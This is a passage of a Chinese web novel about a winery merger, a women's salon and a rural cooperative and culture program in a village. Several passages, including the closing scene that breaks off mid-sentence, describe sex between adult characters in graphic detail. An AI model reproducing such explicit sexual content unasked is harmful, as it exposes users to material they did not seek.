“我们还要抓紧把并购的事落实,我怕天明背后的人也会破坏这事的。”
“行。那我在家里就行使否决权了,和你们把合同签掉,你尽快派人过来。”
井儿回到家里,和妈妈商量签约的事。妈妈虽然不管事,可她的态度至关重要,尤其是要行使否决权,如果天明脑子动得快一点,说服妈妈反对并购,还就真的并购不成。
听了井儿的解释,妈妈脑子还是清楚的,她说:“你是老大,这事你去办吧,我支持你。”
“谢谢妈妈。”
“傻丫头,和妈还客气。我还要提醒你一下,要让天明找不出什么理由,你的股权分配恐怕还得重新考虑。”
“有什么问题吗?”
“你徐叔虽然在我们家干了一辈子,可还算是外人,你给他股份,天明就有挑刺的理由了。”
“你的意思是不给徐叔股份?”
“你对徐叔的心意妈知道,妈也是这样想的。可是如果这样做,事情就会复杂了。妈想啊,你徐叔家里没人,给他多少股份他都消受不了,反正妈这里有一份,以后靠这份养徐叔和妈两个人足够了。”
“妈,你说的也对,反正徐叔有什么事,我们不会坐视不管的,给不给他股份都没关系。可是我已经和徐叔说过了。”
“说过也没关系。你徐叔我了解,他肯定说不要,对吧?”
“是的。”
“放心。徐叔那里妈和他说去。”
志刚把兰花叫过来,对她说:“你叫办公室准备好所有签约文本,尽快赶到茅台镇和井儿签约。”
“这么急吗?”
志刚把情况简要对她说了。兰花笑着说:“干脆让井儿离婚,不要酒厂了,过来嫁给你多好。”
“这是嫂子说的话吗?那酒厂可是井儿家祖祖辈辈传下来的。”
“传下来又怎样?中国就是祖宗传下来的东西太多,弄得我们好坏都分不清,眉毛胡子一把抓,全当宝贝了。要不中国人怎么活得这么累呢。那酒厂就那么重要吗?还是井儿和你一辈子的幸福重要?”
兰花一席话,把志刚说愣了。想不到读书不多的三嫂,还有这么深刻的见解,几乎都把志刚给说服了。
“三嫂,现在不说这个。我和井儿的幸福,未必就和酒厂冲突,以后变数还大着呢。不过眼前不能放弃,我们一定要把酒厂给拿过来。”
“好吧。我也只是说说而已,知道你不会听的。”
志刚笑了,说:“三嫂,我就喜欢听你这样的真话和心里话,明知道我不会接受,还要说。”
“好了,别拍三嫂马屁了。你记着还有个三嫂就行。”
志刚知道这和段时间冷落兰花了,便搂着她笑着说:“三嫂,我怎么会忘记你呢。”
兰花捧着他的脸就吻,边吻边用手抓住他的小弟弟。志刚说:“三嫂,这是办公室,注意影响。”
“注意影响?你和别人能做,为什么不能和我做?”
志刚知道兰花说的是和曲贝贝的事:“我那是被迫的。”
“那我今天也强迫你。”
志刚很久没有和兰花**了,便挣脱她,说:“我们到井儿房间去吧。”
井儿的宿舍在四楼,兰花有钥匙,先上楼去开门,志刚跟着上去了。兰花等他进来,就把门关上,迫不及待地脱他的衣服。
志刚亲吻着兰花说:“你是给我最多快乐的女人,我怎么能忘记你。”
便杀进去了。
兰花最初让志刚睡她,只是她天性的善良,以及纯粹的肉体需要,但这么多年下来,她真的爱上志刚了。她知道贵玲也有类似的情感,包含着母爱、情爱、**混杂着的感情。所以她们对志刚很宽容,既心痛他,又处处为他着想。
很久没和志刚**,兰花很快就来高潮了。志刚从容地化解了高潮,依然挺立不倒,问她:“你今天想来几次高潮?”
兰花爱怜地看着他,故意说:“10次,你行吗?”
“只要你行我就行。”
结果,兰花来5次高潮,志刚投降了。
他们这一做就两个小时过去,志刚说:“办公室恐怕有人找了,我们下去吧。”
回到办公室,贵玲正在等志刚,问他:“你到哪里去了?”
志刚问:“什么事?”
“向你汇报邻村会馆的工作啊。最近一期女性沙龙,准备让夏青来主持,谈性保健和男性性特征。”
“这个主题好,那些富婆们肯定喜欢。”
“还有,贝贝打电话来提了一个建议,叫我组织女性沙龙的人员到那边去考察,其实就是让她们散散心。贝贝说这些女人多数信佛,就带他们到黛山的伏虎寺和白云庵去烧香、参加黛山镇的大庙会,安排她们分散住在农家、近距离和留守妇女接触,等等。我觉得这个主意挺好。你看呢?”
“好啊。这些富婆和留守妇女虽然差别很大,但也有共同的地方,比如她并不是缺了男人就不行,而是寂寞造成的。她们都不工作,所以寂寞是共同点,只是消费寂寞的方法不同。”
“对呀。说不定还会有意外收获呢。”
“你计划什么时间组织这次活动?”
“等贝贝那边通知,她们准备好了我们就去。”
“到时我和你们一起去。”
黄婷婷调到二号馆后,因为女性沙龙属于她管理,所以活动地点也换到了二号馆。
黄婷婷一到,蔡明丽立刻就收敛了。黄婷婷处处都强,无论是知识、经验还是气势,甚至是当小三的经验上都占上风,让蔡明丽不得不服。随着第二批三分之一人员的调整,邻村文化影响越来越大,蔡明丽也觉得对抗下去没有意思,便主动提出也到一号馆去学习两个月。
贵玲考虑再三,同意了蔡明丽的要求。同时,她让两边的大厨也对调一下,让蔡明丽带着大厨把二号馆做徽菜的经验介绍到一号馆。蔡明丽做得很出色,一号馆的菜在保持原来优势的基础上,把徽菜的原汁原味体现得很充分。当然,和王伟峰在一起是蔡明丽的主要目的。他们这次学乖了,不再让员工看出他们的关系,而是在民工之家租了一套房子。
夏青主持的女性沙龙如期举行。这些女人首先对夏青男科专家的身份很好奇,问了不少问题。
王艳丽问:“你和男患者说到性方面的事,自己兴奋吗?”
“不兴奋。要是兴奋就没法工作了。”
“那你自己的性生活满意吗?”
“过去不满意,现在满意。因为现在我不当男科医生了。”
“你的意思是说,天天接触性问题,使你麻木了?”
“对。所以性生活要有规律,张弛有度,才会满意。不是越多越好,而要在有质量的前提下,多少随意。”
顾晶晶问:“你说男人喜欢女人**时是什么样的?”
“这可难倒我了,人家也没告诉我。不过据我的理解,男人的喜好和要求是不同的。同样,女人和女人也是不一样的,每一个女人都是唯一的,也都会有男人喜欢。所以没有必要迎合男人的喜好,坚持做你自己,不要妄想让所有男人都喜欢你,只让一个男人喜欢你就够了。”
莹莹问:“男人的性能力差别大不大?”
“差别大,也不大。男人做的时间有长短,但是只要你与他配合好,时间短也能使你来高潮,你能够满足,那就没有关系。”
“男人性能力差别是什么原因?”
“有体质方面差别,也有心理差别。最重要的是心理。所以我告诉你们,男人在**的时候最需要鼓励。如果你告诉他说,今天你很棒,那么他就会真的很棒。”
说到这里,夏青把话题一转:“其实我们不仅要了解男人,还要了解女人。我们未必真的了解自己。因为我们有兴趣了解男人,却没有兴趣去了解女人。如果了解了我们自已和身边的其他女人,再回过头来去探索男人,你会发现对男人的了解会更深刻。”
“女人对女人都有防范的,怎么相才能互相了解?”
“最好的办法是站在男人的角度去了解女人,当然这很难做到,那么,以旁观者的身份去了解女人,进而就可以更好地了解你自己。”
“就是说,去了解和我们距离大一些的女人,更能有发现。”
“对。想不想去了解一下和你们不同的女人以及她们不同的生活?”
“想啊。到哪里去了解?了解谁?”
“到农村去,和留守妇女零距离接触。怎么样?”
“好啊。你带我们去吗?”
“邻村会馆带你们去。他们正筹备一次活动,把女性论坛办到农村去。你们去不去?”
“去。”
贵玲知道会有很多女人响应的。她们的生活圈子都局限在城市,到农村去对她们来说都是新鲜的事,何况还要去了解留守妇女的生活,比一般的旅游更有意思。女人都是有好奇心的,就看怎么来发掘她们的好奇心。
此时,欣宜的工作却遇到了困难。
本来都答应参加合作社的人,却有一半人反悔了。欣宜召开第一次动员会,原以为有40户参加,结果稀稀拉拉来了18人。尽管欣宜在县政府和镇政府工作时都与农民打过交道,深知其散漫性和不确定性,对这个结果还是感到意外。
最大的问题是,原来答应出租土地的农户也有一大半食言了,能租下的土地都是分散的没有连成片,无法统一规划。她知道自己犯错误了,以为一个彭家村事情好办,却忘记了农村的事再小都不能轻视。她决定找村长谈谈。
村长叫彭大壮,今年56岁,长得挺高挺壮,身体却不是很好,加上年纪偏大,便不再打工,从上海回来了。村里没有选女人当村长的习惯,也没有个像样的男人,正好他回来,便选他当了村长。欣宜一过来就拜访过他,谈到租赁撂荒土地的事,他当然支持,只是工作还是要欣宜自己做,叫她在碰到困难时再来找他。
欣宜一早就来到大壮家院门外,里面的狗叫得凶,她不敢进去了,喊道:“彭村长在家吗?”
“是谁呀?”
问话的是大壮媳妇。她从屋里出来,喝住了狗。
“我是从上海来办合作社的贾欣宜。”
大壮媳妇让她进来了。欣宜听村里女人们说过,大壮回来以后,媳妇看得很紧,出个门都要跟着,就怕哪个女人把他给勾走了。有女人说,大壮身体不好,他媳妇守了十几年活寡,好不容易把他等回来了,天天晚上要他做几次,把他吸干了。
大壮正坐在堂屋抽烟喝茶,见欣宜进来,赶紧站起来迎接。
“彭村长,”
欣宜坐下就开门见山说,“看来需要你来做工作了。”
大壮问:“怎么个情况,你说说。”
“原来答应参加合作社的人现在又反悔了,答应出租土地的也有大部分都不干了。你知道是什么原因吗?”
大壮媳妇给欣宜泡好茶,说:“原因简单,就是想租个好价钱。”
“我们给的价钱已经很优惠了,他们还想要多少?”
大壮又点着一支香烟,深吸一口,吐出浓浓的烟雾,说:“是你把前景说得太好了,他们觉得你会赚大钱,就应该提高租金。”
“可是,我们的风险也大呀。她们如果看好前景,可以参加合作社做股东嘛。”
“欣宜,你还是不了解我们农民的心态。眼光短浅,又怕吃亏,还想赚钱,什么都想占到。风险最好是别人担,好处他能占多少占多少。”
大壮毕竟在外面打过十几年工,懂道理、有眼光,也知道农民的缺点。
欣宜却不高兴了:“哪里有这样的好事?不担风险,还想赚大钱。”
“没有办法,你就要跟这样的人打交道。爱干不干,反正土地在他们手里本来就荒着,继续荒下去也无所谓。”
“大壮叔,你看我该怎么办?”
“知道农民最怕啥吗?最怕官。你不是和县招商局签了协议吗,叫县里出面,下个红头文件,写上什么为了支持国家政策,改革开放,发展经济,同时要发挥撂荒地的作用,免得国家土地浪费,叫村民们要积极配合,如果发生纠纷或者损害农民利益的事件,政府负责追究责任。等等。”
“这有用吗?”
“嘿嘿。不敢说全部,至少一半人会相信。他们还有一个担心,就是你民营企业来投资,唯利是图,或许会做损害农民利益的事,有政府出面了,他们心里才踏实。”
“他们会这样相信政府?我怎么天天听他们骂政府,什么贪污**、欺压百姓。我在政府工作时就知道,政府最怕农民上访,尤其是在国家重大节假日的时候。”
“上访的毕竟是少数人,他们中有真受到冤枉的,也有无理搅三分的。但是责任还在政府。为什么?现在讲法制建设,要是打官司能解决问题,谁愿意上访?我也天天想骂政府。大的不说,就是乡镇政府那班人,天天吃着喝着,还不为百姓办事,我也气。但是,老百姓无依无靠,不靠政府还能靠谁?骂政府只是希望政府多为百姓做点事,倒没人谁会真希望这个政府不存在了。”
“大壮叔,我发现你还挺有思想的。”
“嘿嘿。不学习怎么能当好村长呢?镇政府没事就找我们开会,学这个文件学那个精神,倒也不是坏事,让我们的眼光比村民们确实要高。”
“你说的话提醒了我。我们投资建设,为村民们提高收入是好事,可是如果同时再能让他们开阔眼界、提高素质,不就会让他们更欢迎我们吗?”
“当然。你能这样想,村民们就会接受你们。”
“谢谢你,大壮叔。对了,你家为什么不参加合作社?”
“我也在观望嘛。今天你来了,我心里也有底了,我决定参加了,回头叫媳妇和你们签合同。”
欣宜回到小冯庄志刚家,到贝贝房间看看,贝贝也刚从镇上回来,正打开相机,查看她拍的相片。
“贝贝,”
欣宜高兴地说,“我刚从村长家回来,收获很大。”
“是吗?”
贝贝的目光还不离开相机,心不在焉地说,“有什么收获?”
“过去我以为,在农村办事,你只要和农民交心就行,现在发现这还不够,还要从上到下,利用政府在农民心中的地位,拿到政府文件。这样上下兼顾,问题就会解决。”
“是吗?”
贝贝这时眼睛才离开相机,看着欣宜,“我再加一条,你光和农民交心不行,用政府压下来也不够,还要引导他们,他们想不到的,我们要为他们想到,还要帮他们做。做他们意想不到、又喜出望外的事。”
“你说说看,做哪些事?”
贝贝把相机拿给欣宜看,一张一张地翻着照片:“你看,这是我今天在镇上照的。”
她翻过了那些风景和建筑照片,又翻过了集市上出售商品的热闹场面,最后是一组镇文化站的相片。“你看,这是镇文化站,办得很好,但是我觉得它只符合政府形象宣传的需要,而远远不能满足农民的需要。”
“为什么?”
“地方太小,离村庄也太远,不方便。”
“你是想把它搬到村里来?”
“对。我们以合作社的名义,定期把美术、音乐、舞蹈教师请到村里来,教这些留守妇女,让她们产生广泛的兴趣,免得整天想男人。”
“太好了。今天在村长家我也突然想起这事来。还有你上次提到的,把邻村女性沙龙在这里办一期,我觉得可以操作了。这样,就会对村民产生吸引力,让他们相信我们是真为了他们好。”
“我觉得你应该把精神文明这一块当作投资建设的重点内容,写到邻村绿色环保农副产品供应基地的建设方案里去,和日常经营活动并举。这也算是邻村文化的一个创造和亮点。”
“对。我会写进去的,而且马上在实践中落实。”
“那个书法家不错。”
贝贝在相机里翻出一个正在书写的男人,说,“你看,镇文化站的站长李文波,写一手狂草,我非常喜欢。”
“你是喜欢字还是喜欢人?恐怕主要还是他长得帅吧?”
“你知道我是宁愿喜欢农民工,也不喜欢油头粉面的所谓帅气的。”
“知道,知道。你是喜欢乡村,同时又想把城市文明带到乡村来。”
“其实这是很矛盾的。如果真把城市文明带到农村了,使农村也变成了城市,就不是我喜欢的样子了。我想,还是把文明的内核带到农村,比如书法、歌舞、思想等等,而不要把物质的东西带来。”
“农村的发展是你无法掌控的,迟早有一天会让你觉得不美了。”
贝贝指着相机里的那个书法家李文波,说:“我和他谈好了,每个月让他组织几名教师到彭家村来一趟,开美术班、书法班、舞蹈班和乐器班。将来,我们或许会拥有邻村农民舞蹈队和乐队。”
“我们把他们带到上海,在邻村会馆里表演。”
贝贝谈得高兴,说:“你说志刚应不应该感谢我们俩?这么好的策划他到哪里找去。”
“当然应该感谢。不过我们不要钱,要他的股份。”
“对。我们也要分享他的创业成果。不过你没问题,迟早会得到股份的。”
“我?为什么?”
“你嫁给志刚,他的不就是你的了?”
欣宜佯嗔道:“你就乱说。我怎么可能嫁给他。”
“你不嫁我嫁。就等着你这句话呢。”
欣宜笑着捶贝贝的背,说:“原来你这么坏,憋着心思要嫁给志刚。”
贝贝抱住欣宜,捏着她的乳房,说:“其实志刚是不能嫁的。做他的女人可以,嫁给他就没有趣味了。”
欣宜被贝贝捏得兴起,脱掉衣服,两人在床上互相亲吻对方的蚌肉,用舌尖舐进已经张开的洞穴。最后用V型器具插入身体,互相拥抱着,一直运动到两人都来高潮